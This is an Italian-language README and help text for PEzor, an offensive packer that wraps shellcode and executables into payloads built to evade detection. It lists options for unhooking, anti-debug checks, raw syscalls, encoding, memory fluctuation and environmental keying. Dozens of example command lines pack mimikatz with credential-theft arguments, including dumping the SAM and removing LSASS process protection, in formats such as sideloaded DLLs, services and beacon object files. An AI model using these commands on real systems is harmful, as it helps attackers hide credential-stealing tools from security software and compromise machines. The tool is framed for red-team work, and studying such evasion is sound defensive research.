
Impacchetta shellcode ed eseguibili PE in payload evasivi con tecniche anti-debug, unhooking, syscall e di fluttuazione della memoria per operazioni red-team.
Leggi i post del blog qui:
________________
< PEzor!! v3.3.0 >
----------------
\ / \ //\
\ |\___/| / \// \\
/0 0 \__ / // | \ \
/ / \/_/ // | \ \
@_^_@'/ \/_ // | \ \
//_^_/ \/_ // | \ \
( //) | \/// | \ \
( / /) _|_ / ) // | \ _\
( // /) '/,_ _ _/ ( ; -. | _ _\.-~ .-~~~^-.
(( / / )) ,-{ _ `-.|.-~-. .~ `.
(( // / )) '/\ / ~-. _ .-~ .-~^-. \
(( /// )) `. { } / \ \
(( / )) .----~-.\ \-' .~ \ `. \^-.
///.----..> \ _ -~ `. ^-` ^-_
///-._ _ _ _ _ _ _}^ - - - - ~ ~-- ,.-~
/.-~
---------------------------------------------------------------------------
Lo script install.sh è progettato per funzionare su una distribuzione Kali Linux.
$ git clone https://github.com/phra/PEzor.git
$ cd PEzor
$ sudo bash install.sh
$ bash PEzor.sh -h
La variabile PATH deve essere aggiornata per utilizzare un commit specifico di Donut! Controlla lo script install.sh aggiornato.
PEzor helpmostra l'aiuto per PEzor
USAGE
$ PEzor help
PEzor <EXECUTABLE>Impacchetta l'eseguibile fornito in uno nuovo
OPTIONS
-h Mostra l'utilizzo ed esce
-32 Forza eseguibile a 32-bit
-64 Forza eseguibile a 64-bit
-debug Genera una build di debug
-unhook Rimozione degli hook in user-land
-antidebug Aggiunge controlli anti-debug
-syscalls Usa syscall raw [solo 64-bit] [solo Windows 10]
-sgn Codifica lo shellcode generato con sgn
-text Memorizza lo shellcode nella sezione .text invece di .data
-rx Alloca memoria RX per lo shellcode
-self Esegue lo shellcode nello stesso thread
-sdk=VERSION Usa una versione specifica di .NET Framework (2, 4, 4.5 (default))
-cleanup Esegue la pulizia del payload allocato e dei moduli caricati (solo per BOF)
-sleep=N Dorme per N secondi prima di decomprimere lo shellcode
-format=FORMAT Restituisce il risultato nel FORMATO specificato (exe, dll, reflective-dll, service-exe, service-dll, dotnet, dotnet-createsection, dotnet-pinvoke)
-fluctuate=PROTECTION Fluttua la regione di memoria alla PROTEZIONE (RW o NA) hookando Sleep()
-xorkey=KEY Crittografa il payload con un semplice XOR multibyte, recupera la chiave a runtime usando GetComputerNameExA(ComputerNameDnsFullyQualified)
[donut args...] Dopo l'eseguibile da impacchettare, puoi passare ulteriori argomenti Donut, ad esempio -z 2
EXAMPLES
# 64-bit (self-inject RWX)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 mimikatz/x64/mimikatz.exe -z 2
# 64-bit (self-inject RX)
$ PEzor.sh -unhook -antidebug -text -self -rx -sleep=120 mimikatz/x64/mimikatz.exe -z 2
# 64-bit (raw syscalls)
$ PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=120 mimikatz/x64/mimikatz.exe -z 2
# 64-bit (fluctuate to READWRITE when sleeping)
$ PEzor.sh -fluctuate=RW -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"coffee" "sleep 5000" "coffee" "exit"'
# 64-bit (fluctuate to NOACCESS when sleeping)
$ PEzor.sh -fluctuate=NA -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"coffee" "sleep 5000" "coffee" "exit"'
# 64-bit (use environmental keying with GetComputerNameExA)
$ PEzor.sh -xorkey=MY-FQDN-COMPUTER-NAME -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"coffee" "sleep 5000" "coffee" "exit"'
# 64-bit (support EXEs with resources by keeping PE headers in memory)
$ PEzor.sh -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -k 2 -p '"!+" "!processprotect" "/process:lsass.exe" "/remove" "!-" "exit"'
# 64-bit (beacon object file)
$ PEzor.sh -format=bof mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64-bit (beacon object file w/ cleanup)
$ PEzor.sh -format=bof -cleanup mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64-bit (dll)
$ PEzor.sh -format=dll mimikatz/x64/mimikatz.exe -z 2 -p '\"log c:\users\public\mimi.out\" \"token::whoami\" \"exit\"'
# 64-bit (dll sideload)
$ PEzor.sh -format=dll -dll-sideload=version.dll mimikatz/x64/mimikatz.exe -z 2 -p '\"log c:\users\public\mimi.out\" \"token::whoami\" \"exit\"'
# 64-bit (reflective dll)
$ PEzor.sh -format=reflective-dll mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64-bit (service exe)
$ PEzor.sh -format=service-exe mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64-bit (service dll)
$ PEzor.sh -format=service-dll mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64-bit (dotnet)
$ PEzor.sh -format=dotnet -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64-bit (dotnet-pinvoke)
$ PEzor.sh -format=dotnet-pinvoke -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64-bit (dotnet-createsection)
$ PEzor.sh -format=dotnet-createsection -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 32-bit (self-inject)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 mimikatz/Win32/mimikatz.exe -z 2
# 32-bit (Win32 API: VirtualAlloc/WriteProcessMemory/CreateRemoteThread)
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 mimikatz/Win32/mimikatz.exe -z 2
# 32-bit (Win32 API: VirtualAlloc/WriteProcessMemory/CreateRemoteThread) and arguments for donut
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 mimikatz/Win32/mimikatz.exe -z 2 "-plsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv"
PEzor <SHELLCODE>Impacchetta lo shellcode fornito in un eseguibile
USAGE
$ PEzor <-32|-64> [options...] <SHELLCODE>
OPTIONS
-h Mostra l'utilizzo ed esce
-32 Forza eseguibile a 32-bit
-64 Forza eseguibile a 64-bit
-debug Genera una build di debug
-unhook Rimozione degli hook in user-land
-antidebug Aggiunge controlli anti-debug
-shellcode Forza il rilevamento come shellcode
-syscalls Usa syscall raw [solo 64-bit] [solo Windows 10]
-sgn Codifica lo shellcode fornito con sgn
-text Memorizza lo shellcode nella sezione .text invece di .data
-rx Alloca memoria RX per lo shellcode
-self Esegue lo shellcode nello stesso thread [richiede shellcode RX, non compatibile con -sgn]
-cleanup Esegue la pulizia del payload allocato e dei moduli caricati (solo per BOF)
-sleep=N Dorme per N secondi prima di decomprimere lo shellcode
-format=FORMAT Restituisce il risultato nel FORMATO specificato (exe, dll, reflective-dll, service-exe, service-dll, dotnet, dotnet-createsection, dotnet-pinvoke)
-fluctuate=PROTECTION Fluttua la regione di memoria alla PROTEZIONE (RW o NA) hookando Sleep()
-xorkey=KEY Crittografa il payload con un semplice XOR multibyte, recupera la chiave a runtime usando GetComputerNameExA(ComputerNameDnsFullyQualified)
EXAMPLES
# 64-bit (self-inject RWX)
$ PEzor.sh shellcode.bin
# 64-bit (self-inject RX)
$ PEzor.sh -unhook -antidebug -text -self -rx -sleep=120 shellcode.bin
# 64-bit (self-inject)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 shellcode.bin
# 64-bit (raw syscalls)
$ PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=120 shellcode.bin
# 64-bit (fluctuate to READWRITE when sleeping)
$ PEzor.sh -fluctuate=RW shellcode.bin
# 64-bit (fluctuate to NOACCESS when sleeping)
$ PEzor.sh -fluctuate=NA shellcode.bin
# 64-bit (use environmental keying with GetComputerNameExA)
$ PEzor.sh -xorkey=MY-FQDN-MACHINE-NAME shellcode.bin
# 64-bit (beacon object file)
$ PEzor.sh -format=bof shellcode.bin
# 64-bit (beacon object file w/ cleanup)
$ PEzor.sh -format=bof -cleanup shellcode.bin
# 64-bit (dll)
$ PEzor.sh -format=dll shellcode.bin
# 64-bit (dll sideload)
$ PEzor.sh -format=dll -dll-sideload=version.dll shellcode.bin
# 64-bit (reflective dll)
$ PEzor.sh -format=reflective-dll shellcode.bin
# 64-bit (service exe)
$ PEzor.sh -format=service-exe shellcode.bin
# 64-bit (service dll)
$ PEzor.sh -format=service-dll shellcode.bin
# 64-bit (dotnet)
$ PEzor.sh -format=dotnet shellcode.bin
# 64-bit (dotnet-pinvoke)
$ PEzor.sh -format=dotnet-pinvoke shellcode.bin
# 64-bit (dotnet-createsection)
$ PEzor.sh -format=dotnet-createsection shellcode.bin
# 32-bit (self-inject)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 shellcode.bin
# 32-bit (Win32 API: VirtualAlloc/WriteProcessMemory/CreateRemoteThread)
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 shellcode.bin
Vedi il codice: PEzor.sh